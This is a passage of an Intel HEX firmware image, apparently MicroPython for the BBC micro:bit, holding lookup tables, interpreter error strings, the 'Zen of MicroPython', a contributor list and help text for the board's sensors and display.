:10F980009AB2010092B20100A4B20100A4B2010037 :10F99000A4B20100E2B2010094B2010094B20100ED :10F9A00000B20100FEB1010000B201009AB20100F4 :10F9B00000B20100FEB1010094B2010094B2010056 :10F9C0009AB20100FEB10100A4B20100A4B201008C :10F9D00070B60100A2B50100A2B50100A0B50100FA :10F9E000A6B50100A6B501004EB60100A0B5010004 :10F9F000A6B501004EB60100A6B50100A0B50100F4 :10FA00004AB601004AB601004AB6010058B60100E4 :10FA10006CC5010048C4010012C40100B6C3010056 :10FA200012C4010014C5010012C40100B6C30100D4 :10FA300048C4010048C4010014C50100B6C3010058 :10FA4000BEC30100BEC30100BEC3010022C5010048 :10FA500020CD0100C0CB0100C0CB0100BCCB010018 :10FA6000C6CB0100C6CB0100DCCC0100BCCB010041 :10FA7000C6CB0100DCCC0100C6CB0100BCCB010031 :10FA8000D8CC0100D8CC0100D8CC0100EACC0100D0 :10FA90003863ED3EDA0F493F5E987B3FDA0FC93F8E :10FAA0006937AC3168212233B40F14336821A23393 :10FAB0000000004B000000CB000000000000003FF1 :10FAC000000000BF8071313F807131BFD1F717371F :10FAD000D1F717B70000000000000080000FC93FF9 :10FAE000000F494000CB9640000FC9400053FB4037 :10FAF00000CB164100ED2F41000F4941003162411A :10FB000000537B41003A8A4100CB9641005CA341FF :10FB100000EDAF41007EBC41000FC94100A0D541BE :10FB20000031E24100C2EE410053FB4100F20342CA :10FB3000003A0A420083104200CB164200141D42D4 :10FB4000005C234200A5294200ED2F4200363642D8 :10FB5000007E3C4200C74242000F4942A200000022 :10FB6000F9000000830000006E0000004E0000005D :10FB7000440000001500000029000000FC00000007 :10FB80002700000057000000D1000000F500000031 :10FB900034000000DD000000C0000000DB000000B9 :10FBA0006200000095000000990000003C00000089 :10FBB000430000009000000041000000FE00000033 :10FBC0005100000063000000AB000000DE000000F8 :10FBD000BB000000C500000061000000B70000008D :10FBE000240000006E0000003A0000004200000007 :10FBF0004D000000D2000000E00000000600000000 :10FC0000490000002E000000EA000000090000008A :10FC1000D1000000920000001C000000FE00000067 :10FC20001D000000EB0000001C000000B1000000FF :10FC300029000000A70000003E000000E8000000CE :10FC40008200000035000000F50000002E000000DA :10FC5000BB0000004400000084000000E900000038 :10FC60009C0000007000000026000000B4000000AE :10FC70005F0000007E00000041000000390000002D :10FC800091000000D6000000390000008300000051 :10FC90005300000039000000F40000009C00000048 :10FCA000840000005F0000008B000000BD00000029 :10FCB000F9000000280000003B0000001F000000C9 :10FCC000F800000097000000FF000000DE000000C8 :10FCD00005000000980000000F000000EF00000089 :10FCE0002F000000110000008B0000005A000000EF :10FCF0000A0000006D0000001F0000006D00000001 :10FD0000360000007E000000CF0000002700000049 :10FD1000CB00000009000000B70000004F00000009 :10FD2000460000003F000000660000009E0000004A :10FD30005F000000EA0000002D00000075000000D8 :10FD400027000000BA000000C7000000EB00000020 :10FD5000E5000000F10000007B0000003D00000015 :10FD60000700000039000000F70000008A000000D2 :10FD70005200000092000000EA0000006B0000004A :10FD8000FB0000005F000000B10000001F00000049 :10FD90008D0000005D00000008000000560000001B :10FDA000030000003000000046000000FC000000DE :10FDB0007B0000006B000000AB000000F0000000C2 :10FDC000CF000000BC000000200000009A000000EE :10FDD000F4000000360000001D000000A900000033 :10FDE000E300000091000000610000005E000000E0 :10FDF000E60000001B000000080000006500000095 :10FE000099000000850000005F0000001400000061 :10FE1000A000000068000000400000008D0000000D :10FE2000FF000000D8000000800000004D0000002E :10FE300073000000270000003100000006000000F1 :10FE4000060000001500000056000000CA00000077 :10FE500073000000A8000000C9000000600000005E :10FE6000E20000007B000000C00000008C000000E9 :10FE70006B0000000000C93F0000F0390000DA37D5 :10FE80000000A2330000842E0000502B0000C22787 :10FE90000000D0220000C41F0000C61B0000441751 :10FEA000040000000700000009000000000000003E :10FEB0000000000000000000000000000000000042 :10FEC0000000000000000000000000000000000032 :10FED0000000000000000000000000000000000022 :10FEE0000000000000000000000000000000000012 :10FEF0000000000000000000000000000000000002 :10FF00000000000000000000000000007000002061 :10FF100000004834A79BBB8BE1858C3E1E45E6184C :10FF2000246BABE728384B8161D494F403251D6919 :10FF30008BFEA79B178B20295F8BB16191D3017436 :10FF400038219F12A0B38829233124203A101D3173 :10FF50007D2011109F33A0204810A013A120A220C3 :10FF6000A320A22232107A20A12231107A20A3628B :10FF70007A20A430A412A720A520A5624D107A20D3 :10FF800025312620832083122F1030106562121035 :10FF90000710122313107A206A306A6248107A2000 :10FFA0008A1C0710081009100A100B100C100E10F4 :10FFB0000F100D102A202B202C208B1236208C2085 :10FFC0002C234610993047102B2344108C304510B9 :10FFD0008711292029628A208830883291202A239B :10FFE00042108B304310581C4E104F1050105110BF :10FFF00053105410551056105810571059105210D5 :020000040003F7 :100000000921141035A5151007109E3049107820CD :100010009E6342109F304310A7A51D109720221009 :100020001C20A630A82320107C20A630A612A720D2 :10003000A8207E193610381040103E103F10411095 :1000400022107F20802080222310813081212610E1 :100050007F22261022101F3121207E206B181320B2 :1000600014201520162017200320352002200A21F5 :10007000161002623D203E203E12352003203C2413 :100080004C1068202D3004103D323C2007221810FF :100090009720996234209B309A6249107A2034620A :1000A0007A209A309C2248109D309D33342048108D :1000B0009B12A7209C206462682065306731642011 :1000C0004810683107104A1074631A1049107820DC :1000D0003A6233203B303B210410213122203B1077 :1000E0000522062052305212532054205612362038 :1000F000062055624D105620543255205362582028 :1001000056209733982048109812202021208512DD :100110002720282027628620852086132F10301064 :100120003D100061013001323920391204104F2096 :10013000591509200A200B200D200C2015271D1011 :1001400097202210332049107820743003A817100C :1001500007104210403043103F30491078203F6272 :100160005A107A2010221F106920132620107A209E :10017000491078206C3074306D2419107A204910A1 :1001800078206C326D20632207106530663363205F :10019000481060634210662043100F241E105D203B :1001A00021105F205D1268205E205E626120683051 :1001B0005F133110602066200E22211067205C1230 :1001C0000E200F201AA42410483049107A201BA4B6 :1001D0002410483049107C20693107104810112242 :1001E000251069207D121E201F201E2226107D2032 :1001F000613262201C311D20271008212810621254 :100200004A100C10286287208930896232108520BC :100210000D2229105A305A627A205B305B621E1020 :100220007A200B222A10333024312520822082129A :1002300037103910506204200410043351204B1041 :100240003813041050206B20962249107A30511830 :100250000720082059205C201020112012200520A2 :100260002022311021204F126B2050209212322078 :10027000312031627A203230322249109330931289 :1002800094209520942249107A3095627A209630F5 :10029000303392204810781279205020796404106D :1002A00005101820061018324F2026318520842092 :1002B000841431103310351034107A121A2019209A :1002C0007B2420101C201A107A2019621C207B30FD :1002D0007C121B201C2033337A2048108C628D2026 :1002E0008E308D1220207A208E12A7208F208F62D0 :1002F0004810903090338D20481006335720481016 :10030000571220207A2047220710453091132D20C4 :100310002E202F202E234410302045102D23421054 :100320009F3043102F224A10071016242B1049101B :1003300078206E206E126F20732071627A206530F3 :1003400070241B107130491078206F637220743054 :1003500073307232702073231C10491078204033A0 :1003600041204810456249107A204423321007107A :10037000453046624D107A204113422043204420EC :10038000426307104530463043223110473048332E :10039000492048104C22321007104D624D107A202F :1003A00049134A204B204C204A6207104D304B2203 :1003B00031104E304E61071014252C107A20491050 :1003C0007820743076627A2077307762121021209C :1003D00017242D107520491078207531762048108B :1003E000223123203C10A912AA203320AA221E1059 :1003F0007A2036222E10A9300C213620E108E90798 :10040000EE0E4D0DDA0B2F0BF70961080000180EE8 :100410008E0C00008F0A6809000002000200040030 :1004200007000D0019003100610000686E020078BD :100430006F02008871020060C0020070C10200807B :10044000C302000002000400060008000A000C00BD :10045000110017001D0025002F003B00490061001E :100460007F00A700DF00250185010902B302970381 :10047000C7045B0671089D0CDF124B1C6D2A913F6F :10048000575FFF8E7BD6737461636B3A20257520AE :100490006F7574206F662025750A00717374722061 :1004A000706F6F6C3A206E5F706F6F6C3D25752CAE :1004B000206E5F717374723D25752C206E5F7374AE :1004C000725F646174615F62797465733D25752C38 :1004D000206E5F746F74616C5F62797465733D2523 :1004E000750A0062756666657220746F6F20736DA1 :1004F000616C6C00617267756D656E742068617304 :100500002077726F6E672074797065006D656D6F0E :10051000727920616C6C6F636174696F6E206661C3 :10052000696C65642C2068656170206973206C6F4C :10053000636B6564006D656D6F727920616C6C6FC3 :10054000636174696F6E206661696C65642C2061FB :100550006C6C6F636174696E6720257520627974B5 :100560006573006E65676174697665207368696696 :100570007420636F756E7400756E737570706F7232 :1005800074656420747970657320666F72202571BC :100590003A20272573272C202725732700646976A6 :1005A0006973696F6E206279207A65726F00272502 :1005B0007327206F626A656374206973206E6F749D :1005C0002063616C6C61626C650027257327206F66 :1005D000626A656374206973206E6F742069746544 :1005E0007261626C650063616E6E6F7420696D701C :1005F0006F7274206E616D65202571002725732749 :10060000206F626A656374206973206E6F74206165 :100610006E206974657261746F72006E616D652021 :1006200027257127206973206E6F742064656669C1 :100630006E65640074797065206F626A656374200A :100640002725712720686173206E6F206174747292 :100650006962757465202725712700272573272077 :100660006F626A65637420686173206E6F206174C5 :100670007472696275746520272571270065786337 :10068000657074696F6E73206D7573742064657224 :100690006976652066726F6D204261736545786387 :1006A000657074696F6E00756E737570706F7274BB :1006B0006564207479706520666F722025713A2018 :1006C00027257327006E656564206D6F7265207441 :1006D00068616E2025642076616C75657320746F87 :1006E00020756E7061636B00746F6F206D616E7941 :1006F0002076616C75657320746F20756E70616310 :100700006B20286578706563746564202564290012 :100710002B2D786B63642E636F6D2F333533B32DC0 :100720002B0A7CC0207C0A7CB4205C302F89207C82 :100730000A7CB2202F83205C89207C0A7C88205987 :100740006F7527726520666C79696E672192204DFE :100750006963726F507974686F6E2120202F7C88D6 :10076000207C0A7C8C20486F773FA6205C205C8729 :10077000207C0A7C8C202FB3207C0A7C8A2030B518 :10078000207C0A7C89202F7C5CB4207C0A7C8A2017 :100790007CB5207C0A7C852D845F2F5F5C9E5F96F4 :1007A0002D7C0A7CC0207C0A2BC02D2B0A00696D91 :1007B000706F727420000A2573007768696C650099 :1007C000666F7200747279002C200025713D00471D :1007D0006C6974636865733A2025640D0A0074655A :1007E000787420746F6F206C6F6E6700636F756C28 :1007F00064206E6F7420706172736520696E70750D :10080000740066756E6374696F6E20646F65732023 :100810006E6F742074616B65206B6579776F72649D :1008200020617267756D656E74730066756E6374B2 :10083000696F6E2074616B657320256420706F731F :100840006974696F6E616C20617267756D656E7435 :10085000732062757420256420776572652067694E :1008600076656E0066756E6374696F6E206D697370 :1008700073696E672025642072657175697265649D :1008800020706F736974696F6E616C206172677537 :100890006D656E74730066756E6374696F6E206546 :1008A00078706563746564206174206D6F73742063 :1008B000256420617267756D656E74732C20676F97 :1008C00074202564002725712720617267756D6586 :1008D0006E742072657175697265640065787472F2 :1008E0006120706F736974696F6E616C20617267EB :1008F000756D656E747320676976656E00657874D2 :100900007261206B6579776F726420617267756DB3 :10091000656E747320676976656E00546865205A49 :10092000656E206F66204D6963726F507974686FD1 :100930006E2C206279204E6963686F6C6173204869 :100940002E20546F6C6C65727665790A0A436F6469 :10095000652C0A4861636B2069742C0A4C657373BB :10096000206973206D6F72652C0A4B656570206974 :10097000742073696D706C652C0A536D616C6C200A :1009800069732062656175746966756C2C0A0A4228 :10099000652062726176652120427265616B207408 :1009A00068696E677321204C6561726E20616E64A8 :1009B00020686176652066756E210A4578707265DB :1009C000737320796F757273656C662077697468CC :1009D000204D6963726F507974686F6E2E0A0A48F1 :1009E00061707079206861636B696E6721203A2DB0 :1009F000290A004D6963726F507974686F6E206FB9 :100A00006E20746865206D6963726F3A6269742044 :100A100069732062726F7567687420746F20796FD4 :100A2000752062793A0A44616D69656E20502E2006 :100A300047656F7267652C204D61726B205368614A :100A40006E6E6F6E2C205261646F6D697220446F00 :100A500070696572616C736B692C204D6174746888 :100A6000657720456C73652C0A4361726F6C205763 :100A7000696C6C696E672C20546F6D2056696E65C9 :100A8000722C20416C616E204A61636B736F6E2C17 :100A9000204E69636B20436F67686C616E2C204A3F :100AA0006F7365706820486169672C0A416C6578CE :100AB000204368616E2C20416E647265612047722C :100AC000616E64692C205061756C204567616E2CE5 :100AD0002050696F7472204B617370727A796B2C3D :100AE00020416E64726577204D756C686F6C6C6127 :100AF0006E642C0A4D61747420576865656C65726C :100B00002C204A6F6520476C616E63792C2041620E :100B10006269652042726F6F6B7320616E64204E54 :100B20006963686F6C617320482E20546F6C6C652C :100B3000727665792E0A00332E342E3000010001C2 :100B400000E3B14BEA85BCE5660DAE8C881269EE18 :100B50001FC76297D50B79CACC1B5D191024D3DC53 :100B60003F8EC52F0F0F0F0FE2ECF0F4F8FC0004DE :100B7000726164696F206973206E6F7420656E61A5 :100B8000626C656400617267756D656E7473206D6B :100B9000757374206265206B6579776F726420616C :100BA0007267756D656E747300756E6B6E6F776EC0 :100BB00020617267756D656E742027257127007638 :100BC000616C7565206F7574206F662072616E6749 :100BD0006520666F7220617267756D656E7420277F :100BE00025712700726563656976656420706163AD :100BF0006B6574206973206E6F742061207374724A :100C0000696E67002766726F7A656E736574272058 :100C1000686173206E6F20737563682061747472ED :100C2000696275746500706F702066726F6D206107 :100C30006E20656D707479207365740066726F7ACA :100C4000656E0073657428290066726F7A656E732D :100C5000657428007B00535049206E6F7420696EC4 :100C6000697469616C697365640067656E6572615A :100C7000746F722069676E6F7265642047656E6578 :100C80007261746F7245786974003C67656E657255 :100C900061746F72206F626A656374202725712703 :100CA0002061742025703E0063616E277420736597 :100CB0006E64206E6F6E2D4E6F6E652076616C7562 :100CC0006520746F2061206A7573742D737461726E :100CD0007465642067656E657261746F72000A00E6 :100CE0000B0C0D0E0F46696E616C206461746120FF :100CF000666F7220737065656368206F75747075B8 :100D0000742E202569206672616D65733A0D0A0D97 :100D10000A0020666C61677320616D706C3120661B :100D20007265713120616D706C322066726571324E :100D300020616D706C332066726571332070697448 :100D400063680D002D2D2D2D2D2D2D2D2D2D2D2DAF :100D50002D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2DC3 :100D60002D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2DB3 :100D70002D2D2D2D0D002535692025356920253592 :100D800069202535692025356920253569202535D7 :100D900069202535690D0A003D3D3D3D3D3D3D3D08 :100DA0003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D73 :100DB0003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D63 :100DC0003D3D3D0D0025733A0D0A0D0A0020696472 :100DD000782020202070686F6E656D6520206C651E :100DE0006E67746820207374726573730D0020251C :100DF0003369202020202020256325632020202007 :100E000020202533692020202020202025690D0A5C :100E100000202533692020202020203F3F20202053 :100E20002020202533692020202020202025690D26 :100E30000A00627974656172726179286200617278 :100E40007261792827256327002C205B006F6E6C68 :100E50007920736C69636573207769746820737493 :100E600065703D312028616B61204E6F6E652920D1 :100E700061726520737570706F727465640054726E :100E800075650046616C73650070617273657220F0 :100E9000636F756C64206E6F7420616C6C6F63613E :100EA000746520656E6F756768206D656D6F72790A :100EB00000756E657870656374656420696E64653D :100EC0006E7400756E696E64656E7420646F657310 :100ED000206E6F74206D6174636820616E79206F7D :100EE0007574657220696E64656E746174696F6E85 :100EF000206C6576656C0063616E6E6F74206D6941 :100F00007820627974657320616E64206E6F6E6202 :100F100079746573206C69746572616C7300696EB5 :100F200076616C69642073796E74617800030000E7 :100F30000000000000003C6D6F64756C6520272583 :100F400073273E006F766572666C6F7720636F6EF5 :100F500076657274696E67206C6F6E6720696E7457 :100F600020746F206D616368696E6520776F7264AD :100F7000004F4B0050686F6E656D657320746F6F26 :100F8000206C6F6E6700496C6C6567616C207069DE :100F90007463680050686F6E656D65206E6F7420B5 :100FA000756E64657273746F6F6400496E707574EA :100FB0002070686F6E656D657300494E5445524EE2 :100FC000414C204552524F523A20496C6C65676142 :100FD0006C2070686F6E656D6520696E6465780061 :100FE000496E7365727420427265616474680D00A5 :100FF00050726F6365737365642070686F6E656DA2 :101000006573000000000000A4A4A4A4A4A4848428 :10101000A4A48484848484848444444444444C4C00 :101020004C484C4040404040404444444448404C7C :10103000440000B4B4B49494944E4E4E4E4E4E4E72 :101040004E4E4E4E4E4B4B4B4B4B4B4B4B4B4B4BE1 :101050004B80C1C180C1C1C1C100000000000000BF :101060000000000000000000000000101010100838 :101070000C080440242020240000242020242020C8 :101080000020000000000000000000000004040434 :101090000000000000000000000404040000000044 :1010A00000000012121208080808080B060C0A05B6 :1010B000050B0A0A0A0908070907060806070707B1 :1010C00002050202020202020606070606020803E1 :1010D000011E0D0C0C0C0E09060102050101060192 :1010E00002060102080202040202060104060104CB :1010F000C7FF00121212080B090B0E0F0B100C0683 :10110000060E0C0E0C0B08080B0A09080808080844 :10111000030502020202020206060806060209048C :1011200002010E0F0F0F0E0E080202070201070246 :101130000207020208020206020207020407010473 :101140000505202E3F2C2D4949454141414155413E :101150004945554F524C575957524C57594D4E4E81 :101160004451535346542F2F5A5A5644432A4A2A1D :101170002A2A45414F414F55422A2A442A2A472AC2 :101180002A472A2A502A2A542A2A4B2A2A4B2A2A10 :101190005555552A2A2A2A2A5948484541484F4830 :1011A000585852584858585858482A2A2A2A2A2AF9 :1011B00058582A2A482A4848582A482A48482A2A51 :1011C0002A2A2A5959595757572A2A2A2A2A2A2A6B :1011D0002A2A582A2A2A2A2A2A2A2A2A2A2A582A13 :1011E0002A4C4D4E2A31323334353637386E6F2023 :1011F0006D6F72652073746F7261676520737061C3 :10120000636500492F4F206F7065726174696F6E5E :10121000206F6E20636C6F7365642066696C650077 :1012200066696C65206E6F7420666F756E64006D04 :1012300061746820646F6D61696E206572726F728F :1012400000696C6C6567616C206D6F64650063613B :101250006E6E6F7420706572666F726D2072656C51 :10126000617469766520696D706F7274006E6F20AD :101270006D6F64756C65206E616D656420272571E6 :1012800027005F5F696E69745F5F2E70790074720A :1012900075650066616C736500286E756C6C29005D :1012A000202020202020202020202020202020203E :1012B000003030303030303030303030303030305E :1012C000300004004D6963726F507974686F6E204E :1012D00076312E392E322D33342D67643634313544 :1012E00034633733206F6E20323031372D30392D53 :1012F00030313B206D6963726F3A626974207631D8 :101300002E302E312077697468206E524635313880 :1013100032320D0A0054797065202268656C70289D :10132000292220666F72206D6F726520696E666F6C :10133000726D6174696F6E2E0D0A003E3E3E200094 :101340000D0A7061737465206D6F64653B20437492 :10135000726C2D4320746F2063616E63656C2C206A :101360004374726C2D4420746F2066696E697368D3 :101370000D0A3D3D3D20002E2E2E2000726177206B :101380005245504C3B204354524C2D4220746F2008 :10139000657869740D0A003C2573206F626A656385 :1013A000742061742025703E006973737562636CEC :1013B0006173732829206172672031206D75737401 :1013C000206265206120636C617373005F5F696EEA :1013D00069745F5F28292073686F756C642072657B :1013E0007475726E204E6F6E652C206E6F742027A0 :1013F000257327006973737562636C6173732829A1 :10140000206172672032206D7573742062652061DF :1014100020636C617373206F722061207475706C2F :1014200065206F6620636C617373657300747970F7 :10143000652027257127206973206E6F7420616EE7 :101440002061636365707461626C652062617365BD :101450002074797065006D756C7469706C652062BC :1014600061736573206861766520696E7374616E5F :101470006365206C61792D6F757420636F6E666C87 :10148000696374003C73757065723A200063616E25 :101490006E6F742063726561746520272571272043 :1014A000696E7374616E636573007479706520741E :1014B000616B65732031206F722033206172677514 :1014C0006D656E7473003C636C61737320272571C6 :1014D000273E0063616E277420636F6E76657274B9 :1014E0002027257127206F626A65637420746F203E :1014F000257120696D706C696369746C790062791B :101500007465732076616C7565206F7574206F66E5 :101510002072616E67650077726F6E67206E756D01 :10152000626572206F6620617267756D656E747397 :1015300000696E636F6D706C65746520666F726DA7 :10154000617400666F726D61742072657175697285 :1015500065732061206469637400696E636F6D70E8 :101560006C65746520666F726D6174206B657900BF :101570006E6F7420656E6F75676820617267756D38 :10158000656E747320666F7220666F726D61742071 :10159000737472696E6700252563207265717569C1 :1015A00072657320696E74206F72206368617200C7 :1015B000696E7465676572207265717569726564BC :1015C00000756E737570706F7274656420666F72EB :1015D0006D61742063686172616374657220272590 :1015E00063272028307825782920617420696E646B :1015F0006578202564006E6F7420616C6C206172C8 :1016000067756D656E747320636F6E766572746551 :101610006420647572696E6720737472696E6720E6 :10162000666F726D617474696E670073696E676C62 :101630006520277D2720656E636F756E7465726502 :101640006420696E20666F726D61742073747269B4 :101650006E670062616420636F6E76657273696F96 :101660006E2073706563696669657200756E6D6181 :10167000746368656420277B2720696E20666F721B :101680006D617400657870656374656420273A271E :1016900020616674657220666F726D61742073706C :1016A000656369666965720063616E27742073778C :1016B000697463682066726F6D206175746F6D6107 :1016C000746963206669656C64206E756D6265720D :1016D000696E6720746F206D616E75616C2066693C :1016E000656C642073706563696669636174696FB2 :1016F0006E007475706C6520696E646578206F7516 :1017000074206F662072616E67650061747472691F :101710006275746573206E6F7420737570706F726C :10172000746564207965740063616E277420737733 :10173000697463682066726F6D206D616E75616C8F :10174000206669656C6420737065636966696361AE :1017500074696F6E20746F206175746F6D61746948 :1017600063206669656C64206E756D626572696E72 :1017700067003C3E3D5E00626364654566466747C0 :101780006E6F7378582500696E76616C69642066A7 :101790006F726D617420737065636966696572004C :1017A0007369676E206E6F7420616C6C6F7765640F :1017B00020696E20737472696E6720666F726D6146 :1017C0007420737065636966696572007369676E1A :1017D000206E6F7420616C6C6F776564207769741C :1017E0006820696E746567657220666F726D6174DA :1017F00020737065636966696572202763270075C9 :101800006E6B6E6F776E20666F726D617420636FA2 :101810006465202725632720666F72206F626A65E2 :101820006374206F66207479706520272573270004 :10183000756E6B6E6F776E20666F726D617420636C :101840006F6465202725632720666F72206F626AA8 :10185000656374206F6620747970652027666C6FED :1018600061742700273D2720616C69676E6D656E86 :1018700074206E6F7420616C6C6F77656420696E84 :1018800020737472696E6720666F726D6174207365 :10189000706563696669657200756E6B6E6F776EF1 :1018A00020666F726D617420636F64652027256305 :1018B0002720666F72206F626A656374206F6620EE :1018C0007479706520277374722700656D70747960 :1018D00020736570617261746F72005C2563005CD7 :1018E0005C005C6E005C72005C74005C78253032D9 :1018F000780073746172742F656E6420696E646918 :1019000063657300737562737472696E67206E6FBE :101910007420666F756E64006A6F696E20657870FA :10192000656374732061206C697374206F66207323 :1019300074722F6279746573206F626A6563747361 :1019400020636F6E73697374656E74207769746851 :101950002073656C66206F626A65637400252E2AA9 :1019600073007273706C6974284E6F6E652C6E29EB :101970000020090A0D0B0C00737472696E672069F0 :101980006E6469636573206D757374206265206988 :101990006E7465676572732C206E6F7420257300FA :1019A000737472696E6720696E646578206F7574F0 :1019B000206F662072616E6765005C752530347833 :1019C000005C55253038780063616E27742073659C :1019D000742061747472696275746500756E6578DF :1019E000706563746564206B6579776F72642061DC :1019F0007267756D656E7420272571270066756E98 :101A00006374696F6E20676F74206D756C74697094 :101A10006C652076616C75657320666F72206172EB :101A200067756D656E74202725712700736C696377 :101A3000652800696E76616C6964207069746368FA :101A4000004D6963726F426974416363656C6572CE :101A50006F6D6574657220747970650A00557365E1 :101A600066756C20737475666620746F20636F6E84 :101A700074726F6C20746865206D6963726F3A626E :101A800069742068617264776172652E0A0050750E :101A900074206D6963726F3A62697420696E207098 :101AA000616E69632829206D6F646520616E642012 :101AB000646973706C617920616E20756E68617005 :101AC000707920666163652E0A50726573732072A7 :101AD0006573657420627574746F6E20746F206511 :101AE0007869742070616E69632829206D6F646560 :101AF0002E0A00507574206D6963726F3A626974C2 :101B000020746F20736C6565702874696D65292079 :101B1000666F7220736F6D65206D696C6C6973659B :101B2000636F6E6473202831207365636F6E642069 :101B30003D2031303030206D7329206F662074696C :101B40006D652E0A736C656570283230303029203F :101B50006769766573206D6963726F3A6269742094 :101B6000612032207365636F6E64206E61702E0A8F :101B70000052657475726E2072756E6E696E675F65 :101B800074696D65282920696E206D696C6C6973B4 :101B900065636F6E64732073696E6365206D69633E :101BA000726F3A6269742773206C61737420726576 :101BB0007365742E0A0052657475726E206D6963C8 :101BC000726F3A62697427732074656D7065726113 :101BD0007475726520696E2064656772656573202F :101BE00043656C636975732E0A004465746563749C :101BF000206D6963726F3A6269742773206D6F7626 :101C0000656D656E7420696E2033442E0A49742018 :101C10006D656173757265732074696C74202858E2 :101C200020616E6420592920616E642075702D64D6 :101C30006F776E20285A29206D6F74696F6E2E0A97 :101C40000052657475726E206D6963726F3A6269D5 :101C50007427732074696C7420285820616363654D :101C60006C65726174696F6E2920696E206D696C94 :101C70006C692D6727732E0A0052657475726E2089 :101C80006D6963726F3A62697427732074696C744A :101C900020285920616363656C65726174696F6E99 :101CA0002920696E206D696C6C692D6727732E0A77 :101CB0000052657475726E206D6963726F3A626965 :101CC0007427732075702D646F776E206D6F746943 :101CD0006F6E20285A20616363656C657261746958 :101CE0006F6E2920696E206D696C6C692D67277392 :101CF0002E0A5A206973206120706F7369746976A7 :101D000065206E756D626572207768656E206D6FF7 :101D100076696E672075702E204D6F76696E67202C :101D2000646F776E2C205A2069732061206E65677E :101D30006174697665206E756D6265722E0A006D3C :101D40006963726F3A6269742773202741272062A2 :101D50007574746F6E2E205768656E20627574748A :101D60006F6E206973207072657373656420646F91 :101D7000776E2C2069735F707265737365642829B0 :101D800020697320547275652E0A006D6963726F45 :101D90003A62697427732027422720627574746F32 :101DA0006E2E205768656E20627574746F6E2069A0 :101DB00073207072657373656420646F776E2C2076 :101DC00069735F7072657373656428292069732075 :101DD000547275652E0A0049662074686520627524 :101DE00074746F6E206973207072657373656420FC :101DF000646F776E2C2069735F70726573736564AE :101E0000282920697320547275652C20656C7365D0 :101E10002046616C73652E0A0055736520776173E7 :101E20005F70726573736564282920746F206C6518 :101E300061726E2069662074686520627574746FC3 :101E40006E207761732070726573736564207369A7 :101E50006E636520746865206C6173742074696DAD :101E6000650A7761735F70726573736564282920F2 :101E70007761732063616C6C65642E2052657475A4 :101E8000726E732054727565206F722046616C7398 :101E9000652E0A00557365206765745F70726573FF :101EA000736573282920746F2067657420746865D2 :101EB0002072756E6E696E6720746F74616C206F2E :101EC0006620627574746F6E2070726573736573CB :101ED0002C20616E6420616C736F0A726573657487 :101EE000207468697320636F756E74657220746FF7 :101EF000207A65726F2E0A0047697665732061202B :101F0000636F6D706173732068656164696E6720CB :101F10006265747765656E20302D333630207769C1 :101F200074682030206173206E6F7274682E0A000E :101F3000557365206D6963726F3A62697427732007 :101F4000636F6D7061737320746F20646574656373 :101F5000742074686520646972656374696F6E20AB :101F600069742069732068656164696E6720696EB1 :101F70002E0A54686520636F6D706173732063610E :101F80006E20646574656374206D61676E65746945 :101F900063206669656C64732E0A497420757365E5 :101FA00073207468652045617274682773206D61C1 :101FB000676E65746963206669656C6420746F2060 :101FC00064657465637420646972656374696F6EB7 :101FD0002E0A004966206D6963726F3A6269742740 :101FE0007320636F6D706173732069735F63616CDD :101FF00069627261746564282920616E642061647D :102000006A757374656420666F72206163637572AC :102010006163792C2072657475726E2054727565D7 :102020002E0A496620636F6D706173732068617357 :102030006E2774206265656E2061646A75737465CD :102040006420666F722061636375726163792C200E :1020500072657475726E2046616C73652E0A004954 :1020600066206D6963726F3A6269742069732063D8 :102070006F6E66757365642C2063616C6962726152 :10208000746528292074686520636F6D70617373AF :1020900020746F2061646A757374207468652069A8 :1020A00074732061636375726163792E0A497420C9 :1020B00077696C6C2061736B20796F7520746F2069 :1020C000726F7461746520746865206465766963F5 :1020D0006520746F20647261772061206369726388 :1020E0006C65206F6E2074686520646973706C6124 :1020F000792E0A005265736574206D6963726F3AB8 :10210000626974277320636F6D70617373207573D8 :10211000696E6720636C6561725F63616C6962728E :102120006174696F6E282920636F6D6D616E642E16 :102130000A52756E2063616C696272617465282948 :1021400020746F20696D70726F76652061636375AE :10215000726163792E0A0052657475726E206D612A :10216000676E65746963206669656C642064657474 :10217000656374656420616C6F6E67206D6963725E :102180006F3A6269742773205820617869732E0A48 :10219000557375616C6C792C2074686520636F6D64 :1021A000706173732072657475726E7320746865E4 :1021B0002065617274682773206D61676E6574694C :1021C00063206669656C6420696E206D6963726F57 :1021D0002D5465736C6120756E6974732E0A556E8B :1021E0006C6573732E2E2E61207374726F6E672070 :1021F0006D61676E6574206973206E6561726279C6 :10220000210A0052657475726E206D61676E657487 :102210006963206669656C642064657465637465D0 :102220006420616C6F6E67206D6963726F3A6269DA :10223000742773205920617869732E0A557375616C :102240006C6C792C2074686520636F6D706173739A :102250002072657475726E73207468652065617292 :1022600074682773206D61676E65746963206669A1 :10227000656C6420696E206D6963726F2D5465739F :102280006C6120756E6974732E0A556E6C6573737C :102290002E2E2E61207374726F6E67206D61676ED3 :1022A0006574206973206E6561726279210A00523B :1022B000657475726E206D61676E65746963206602 :1022C00069656C6420646574656374656420616C21 :1022D0006F6E67206D6963726F3A6269742773204D :1022E0005A20617869732E0A557375616C6C792C6C :1022F0002074686520636F6D7061737320726574FC :1023000075726E73207468652065617274682773D6 :10231000206D61676E65746963206669656C642011 :10232000696E206D6963726F2D5465736C612075E1 :102330006E6974732E0A556E6C6573732E2E2E6142 :10234000207374726F6E67206D61676E65742069AB :1023500073206E6561726279210A0052657475722C :102360006E20737472656E677468206F66206D618D :10237000676E65746963206669656C642061726F5D :10238000756E64206D6963726F3A6269742E0A001B :102390006D6963726F3A62697427732035783520EE :1023A0004C454420646973706C61792E0A00557342 :1023B000652073686F7728782920746F20707269A0 :1023C0006E742074686520737472696E67206F7212 :1023D00020696D616765732027782720746F2074EA :1023E000686520646973706C61792E20547279205D :1023F00073686F77282748692127292E0A55736546 :102400002073686F7728732C20692920746F2073DC :10241000686F7720737472696E67202773272C208A :102420006F6E6520636861726163746572206174A8 :1024300020612074696D652077697468206120646B :10244000656C6179206F660A276927206D696C6C5D :10245000697365636F6E64732E0A0055736520732C :1024600063726F6C6C28732920746F207363726FB2 :102470006C6C2074686520737472696E67202773B2 :1024800027206163726F73732074686520646973B9 :10249000706C61792E0A557365207363726F6C6C72 :1024A00028732C20692920746F207363726F6C6C01 :1024B00020737472696E67202773272077697468A8 :1024C00020612064656C6179206F66202769272070 